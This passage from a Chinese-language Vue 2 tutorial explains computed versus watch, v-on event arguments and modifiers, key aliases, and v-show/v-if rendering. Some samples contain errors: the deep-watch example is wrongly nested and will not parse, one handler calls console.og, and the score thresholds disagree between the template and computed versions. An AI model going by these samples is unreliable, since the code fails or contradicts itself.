const vm = new Vue({
el:'#app',
data: {
firstName: 'kobe',
lastName: 'bryant'
},
// 不会缓存,多次调用
methods: {
getFullName() {
console.log('getFullName') // 调用了三次getFullName方法,打印了3次
return this.firstName + ' ' + this.lastName
}
},
// 会做缓存,多次使用时,计算属性只调用一次,性能较高
computed: {
fullName() {
console.log('fullName') // 只调用了一次fullName属性,打印了1次
return this.firstName + ' ' + this.lastName
}
}
})
</script>
监视属性(watch)
基本使用
当被监视的属性发生变化时,回调函数自动调用,进行相关操作;监视属性必须存在,才能进行监视(官方文档叫做侦听属性)
监视的两种写法
-
简单写法:简单数据类型,直接监视,new Vue 时传入 watch 配置 (在需求明确时配置)
-
完整写法:添加额外配置项,通过 vm.$watch 配置 (在需求补充时调用 watch API 使用)
<div id="app">
<h2>今天天气很{
{info}}</h2>
<button @click="change">切换天气</button>
<!-- 今天天气很炎热 -->
<!-- 今天天气很凉爽 -->
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
isHot: true
},
computed: {
info() { return this.isHot ? '炎热' : '凉爽' }
},
methods: {
change() { this.isHot = !this.isHot }
},
// 1.new Vue 时传入 watch 配置
watch: {
isHot: {
immediate: true, // 初始化时让handler调用一下
handler(newValue, oldValue) {
console.log('isHot被修改了', newValue, oldValue)
// isHot被修改了 true undefined
// isHot被修改了 false true
}
}
}
// 简写
// watch: {
// isHot(newValue, oldValue) {
// console.log('isHot被修改了', newValue, oldValue)
// }
// }
})
// 2.通过 vm.$watch 配置
vm.$watch('isHot',{
handler(newValue, oldValue) {
console.log('isHot被修改了', newValue, oldValue)
}
})
// 简写
// vm.$watch('isHot', (newValue, oldValue) => {
// console.log('isHot被修改了', newValue, oldValue)
// })
</script>
深度监视
Vue 中的 watch 默认不监测对象内部值的改变(一层),但配置 deep:true 的话可以监测对象内部值的改变(多层)
注意:
Vue 自身可以监测对象内部值的改变,但 Vue 提供的 watch 默认不可以
使用 watch 时可以根据数据的具体结构,决定是否采用深度监视
<div id="app">
<h2>{
{info}}</h2>
<button @click="change">切换天气</button>
<h3>{
{numbers.a}}</h3>
<button @click="numbers.a++">让a+1</button>
<h3>{
{numbers.b}}</h3>
<button @click="numbers.b++">让b+1</button>
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
isHot: true,
numbers: { a:1, b:1 }
},
computed: { info() { return this.isHot ? '炎热' : '寒冷' } },
methods: { change() { this.isHot = !this.isHot } },
watch: {
isHot: {
// 监视多级结构中某个属性的变化
'numbers.a': { handler(){ console.log('a被改变了') } } // 在vue.js.devtools里能监视到
// 监视多级结构中所有属性的变化
numbers: {
deep: true, // 开启深度监视
handler(){ console.log('numbers被改变了') }
}
}
}
})
</script>
计算与监视的区别
computed 能完成的功能,watch 都能完成;但 watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作
两个重要的小原则
-
被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象
-
所有不被 Vue 所管理的函数(定时器、ajax的回调函数等)最好写成箭头函数,这样 this 的指向才是 vm 或 组件实例对象
关于箭头函数的this指向问题,在第二章的末尾有详细介绍
watch
<div id="app">
<!-- 利用监视来修改姓/名,以达到修改全名的效果 -->
姓:<input type="text" v-model="firstName" />
名:<input type="text" v-model="lastName" />
全名:<span>{
{fullName}}</span>
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
firstName: '张',
lastName: '三',
fullName: '张三'
},
watch: {
// watch 可以进行异步操作
firstName(newValue) {
<!-- 修改全名延迟一秒 -->
setTimeout(() => { this.fullName = newValue + this.lastName }, 1000)
},
// 也可以进行普通修改操作
lastName(newValue) {
this.fullName = this.firstName + newValue
}
},
})
</script>
computed
<div id="app">
<!-- 利用监视来修改姓/名,以达到修改全名的效果 -->
姓:<input type="text" v-model="firstName" />
名:<input type="text" v-model="lastName" />
全名:<span>{
{fullName}}</span>
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
firstName: '张',
lastName: '三',
},
computed: {
// computed 只能进行普通修改操作
fullName() {
return this.firstName + this.lastName
}
}
})
</script>
事件监听(v-on)
在前端开发中,我们需要经常和用于交互。这个时候,我们就必须监听用户发生的事件,比如点击、拖拽、键盘事件等等,在Vue中如何监听事件呢?使用v-on指令。
语法糖
原理:绑定事件监听器,事件的回调需要配置在 methods 对象中,最终会在 app 上(const app = new Vue())
作用:注册事件 = 添加监听 + 提供逻辑处理
语法:
-
v-on:事件名 = “内联语句”
-
v-on:事件名 = “methods中的函数名”
简写:“@xxx”,效果等价于 v-on(语法糖)
注意:
-
可常用该语法糖(因为优化了v-on写法而不改变其功能,使代码更加简洁易读,提高开发效率)
-
methods 中配置的函数,都是被 Vue 所管理的函数,其 this 指向 app 或组件实例对象,如果用箭头函数,就不指向 app 了
<div id="app">
<h2>{
{counter}}</h2>
<!-- 写法1:全都写在标签中 -->
<!-- <button v-on:click="counter++">+</button> -->
<!-- 写法2:事件的过程写在methods的方法里 -->
<!-- <button v-on:click="add">+</button> -->
<!-- 语法糖:@click -->
<button @click="add">+</button>
</div>
<script src="./vue.min.js"></script>
<script type="text/javascript">
const vm = new Vue({
el:'#app',
data: {
counter: 0,
},
methods: {
add(){
this.counter++
}
}
})
</script>
参数
没参数时:方法本身不需要参数,而且事件调用时也没有参数,那写不写()都一样,跟上面的add方法一样不写()也可以
有参数时:
-
有括号时,如果函数需要参数,但没有传入,那么函数的形参为underfined
<div id="app">
<button @click="btn1()">按钮1</button>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
methods: {
btn1(abc) {
console.log(abc); // undefined
}
}
})
</script>
-
没括号时,在事件定义,写方法时省略了小括号,但方法本身是需要一个参数的,这时候,Vue会默认将浏览器生产的event事件对象作为参数传入到方法;该写法等价于:xxx(event)
<div id="app">
<button @click="btn2">按钮2</button>
<!-- <button @click="btn2(event)">按钮2</button> -->
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
methods: {
btn2(abc) {
console.og(abc); // PinterEvent{isTrusted: true, pointerId: 1, width: 1, height: 1, ...}
}
}
})
</script>
有多个参数时:
方法定义时,我们需要event对象,同时又需要其他参数
在调用方法时,如何手动地获取到浏览器参数的event对象:$event
<div id="app">
<button @click="btn3(123,$event)">按钮3</button>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
methods: {
btn3(e,event) {
console.log(e,event);
// 123
// PinterEvent{isTrusted: true, pointerId: 1, width: 1, height: 1, ...}
}
}
})
</script>
有单引号时:加单引号的话被当做字符串传参
<div id="app">
<button @click="btn4('str',$event)">按钮4</button>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
methods: {
btn4(e,event) {
console.log(e,event);
// str
// PinterEvent{isTrusted: true, pointerId: 1, width: 1, height: 1, ...}
}
}
})
</script>
没单引号时:不加单引号的话会被当做变量
<div id="app">
<button @click="btn5(str,$event)">按钮5</button>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
data: {
str: 2023 // 按钮5查不到str变量会报错
},
methods: {
btn5(e,event) {
console.log(e,event);
// 2023
// PinterEvent{isTrusted: true, pointerId: 1, width: 1, height: 1, ...}
}
}
})
</script>
修饰符
在某些情况下,我们拿到event的目的可能是进行一些事件处理,Vue提供了修饰符来帮助我们方便的处理一些事件
-
stop 停止冒泡
不会影响到父元素响应事件,实际上调用了 event.stopPropagation()
<div id="app">
<div @click="father">
<!-- 按下按钮1也会触发father事件,使用下面的.stop修饰符则不会 -->
<button @click="son">按钮1</button>
<!-- father事件 -->
<!-- son事件 -->
</div>
<!-- .stop修饰符的使用:停止冒泡 -->
<div @click="father">
<button @click.stop="son">按钮2</button>
<!-- son事件 -->
</div>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
methods: {
father() {
console.log('father事件');
},
son() {
console.log('son事件');
}
}
})
</script>
-
prevent阻止行为
阻止表单提交:阻止了表单自动提交,这样可以手动提交一些自定义的东西到服务器,实际上调用了 event.preventDefault()
阻止默认行为:比如 click 后链接的跳转
修饰符还可以连续写,且先后顺序都可以
<div id="app">
<form action="baidu">
<!-- 阻止表单提交 -->
<input type="submit" value="提交" @click.prevent="submit" />
</form>
<!-- 阻止默认行为 -->
<a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
<!-- 阻止冒泡跟默认行为 -->
<!-- 父级的showInfo不生效 -->
<div @click="showInfo">
<a href="http://www.baidu.com" @click.stop.prevent="showInfo">点我提示信息</a>
</div>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
methods: {
submit() {
console.log('submitClick'); // submitClick
},
showInfo(e) {
alert('同学你好') // 出现弹窗,但不进行链接的跳转(阻止默认行为)
}
}
})
</script>
-
enter回车时触发
监听键盘某个键帽的点击,搭配的是 keyup / keydown 事件,而不是 click 事件
keyup: 键帽回弹时触发
keydown: 键帽按下时触发
<div id="app">
<!-- keyup.enter: 回车时触发 -->
<input type="text" @keyup.enter="keyUp" />
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
methods: {
keyUp(){ console.log('键帽回弹') }
}
})
</script>
-
once只触发一次
只能触发一次,再次点击就失效了;没写的话多次点击按钮,可重复触发点击事件
<div id="app">
<!-- 只触发一次按钮的点击事件,再点击则没反应 -->
<button @click.once="onceClick">按钮</button>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
methods: {
onceClick(){ console.log('只触发一次') }
}
})
</script>
-
capture 捕获模式
事件的冒泡 → 从里到外; 事件的捕获 → 从外到里
<div id="app">
<div @click.capture="showMsg(1)">
<div @click="showMsg(2)"></div>
</div>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
methods: {
showMsg(e) {
console.log(e)
// 不写捕获:先输出2,再输出1(冒泡)
// 写了捕获:先输出1,再输出2
}
}
})
</script>
-
self阻止冒泡
只有 event.target 是当前操作的元素时才触发事件,阻止向上一级冒泡
<div id="app">
<div @click.self="showMsg">
1
<button @click="showMsg">2</button>
</div>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
methods: {
showMsg(e) {
console.log(e.target) // <button>2</button>
}
}
})
</script>
-
passive立即执行
事件的默认行为立即执行,无需等待事件回调执行完毕
<div id="app">
<!-- scroll: 滚动条的滚动 -->
<!-- wheel: 鼠标滚轮的滚动 -->
<ul @wheel.passive="demo">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
methods: {
demo(e) {
for(let i=0; i<1000; i++){ console.log('#') }
// 不加 passive:滚轮滚动时,# 一直打印,滚动条不动
// 加了 passive:滚轮滚动时,# 一直打印,同时滚动条滚动
}
}
})
</script>
原理:
滚动鼠标滚轮 → 触发 demo 函数的调用 → demo 函数调用完了,滚动条才动起来(造成页面卡顿),如果调用 passive, 则事件的默认行为 wheel 立即执行,无需等待事件 demo 回调执行完毕
因此 passive 对移动端开发的 wheel 管用,对 scroll 则加不加都没有影响
键盘事件
Vue 常用的键盘事件有 keyup、keydown,而配合该键盘事件的常用按键别名有:回车:enter、删除:delete、退出:esc、空格:space、上:up、下:down、左:left、右:right、换行:tab(特殊,需配合 keydown 使用)
<div id="app">
<input type="text" @keyup.enter="showInfo" />
<!-- 输入asdf -->
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
methods: {
showInfo(e) {
console.log(e.target.value) // 按下回车键,然后抬起时触发,打印asdf
}
}
})
</script>
Vue 未提供别名的按键,可以使用按键原始 key 值去绑定,但注意要转为小写横线命名
系统修饰键(用法特殊):ctrl、alt、shift、win
-
配合 keydown 使用:正常触发事件
-
配合 keyup 使用:按下修饰键的同时,按下其他键,随后释放其他键,才触发事件,如果要指定组合键也可以使用连续写法,比如指定 ctrl + Y
<div id="app">
<input type="text" @keyup.ctrl.y="showInfo" />
<!-- 输入asdf -->
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
methods: {
showInfo(e) {
console.log(e.target.value) // 按下ctrl+y,然后抬起时触发,打印asdf
}
}
})
</script>
也可以使用 keyCode 去指定具体按键(要废除了,不推荐),自定义按键别名:Vue.config.keyCodes.自定义键名 = 键码
<div id="app">
<input type="text" @keyup.huiche="showInfo" />
</div>
<script src="./vue.min.js"></script>
<script>
Vue.config.keyCodes.huiche = 8 // 定义了一个别名按键为:'huiche'
const app = new Vue({
el:'#app',
methods: {
showInfo(e) {
console.log(e.target.value) // 按下Backspace(8),然后抬起时触发,打印asdf
}
}
})
</script>
条件渲染(v-if)
作用:Vue的条件指令可以根据表达式的值在DOM中渲染或销毁元素或组件,动态控制节点是否存在
分类:v-if、v-if,v-else、v-if,v-else-if,v-else,这三个指令与JavaScript的条件语句 if、else if、else 类似
v-show
作用:动态控制节点是否展示,即控制元素显示隐藏
语法:v-show="表达式",表达式为true显示,false隐藏
原理:display:none (隐藏样式),即通过切换 display 控制样式的显示隐藏,不展示的DOM不会被移除
场景:适用于切换频率高的场景
<div id="app">
<!-- <h2 v-show="false">欢迎来到{
{name}}</h2> -->
<!-- <h2 v-show="1 === 2">欢迎来到{
{name}}</h2> -->
<h2 v-show="isShow">欢迎来到{
{name}}</h2>
<button @click="toggle"></button>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
data: {
name: '创意空间',
isShow: false
},
methods: {
toggle(e) {
this.isShow = !this.isShow // 通过按钮控制v-show的显示与隐藏
}
}
})
</script>
v-if
作用:控制元素显示隐藏(条件渲染)
语法:v-if="表达式",表达式为true显示,false隐藏(不展示的 DOM 元素直接被移除)
原理:基于条件判断,是否 创建 或 移除 元素节点
场景:要么显示,要么隐藏,不频繁切换时使用
注意:
-
v-if 可以和 v-else-if、v-else 一起使用,但要求结构不能被打断
-
使用 v-if 时,元素可能无法获取到,而使用 v-show 一定可以获取到
<div id="app">
<h2 v-if="isShow"><div>a,</div>{
{message}}</h2>
<h2 v-if="noShow"><div>b,</div>{
{message}}</h2>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
data: {
message: '你好',
isShow: true, // 只显示第1行:a,你好
noShow: false,
}
})
</script>
v-if v-else
作用:辅助 v-if 进行判断渲染
语法:v-else v-else-if="表达式"
注意:需要紧挨着 v-if 一起使用
<div id="app">
<h2 v-if="isShow">{
{message}}</h2>
<h2 v-else>{
{info}}</h2>
<button @click="isShow = !isShow">按钮</button>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
data: {
message: '你好',
info: '不好',
isShow: true, // 默认显示:“你好”,点击按钮后隐藏 “你好”,显示 “不好”
}
})
</script>
v-if v-else-if v-else
<div id="app">
<h2 v-if="score>=90">优秀</h2>
<h2 v-else-if="score>=80">良好</h2>
<h2 v-else-if="score>=60">及格</h2>
<h2 v-else>不及格</h2>
<!-- 以上写法不常用,复杂的逻辑通常写在computed中 -->
<h2>{
{result}}</h2>
</div>
<script src="./vue.min.js"></script>
<script>
const app = new Vue({
el:'#app',
data: {
score: 99
},
computed: {
result() {
let i = ''
if(this.score >= 90)
i = '优秀'
else if(this.score >= 70)
i = '良好'
else if(this.score >= 60)
i = '及格'
else
i = '不及格'
return i
}
}
})
</script>
案例 - 登录切换
利用 v-if、v-else 就能动态的切换账号跟邮箱</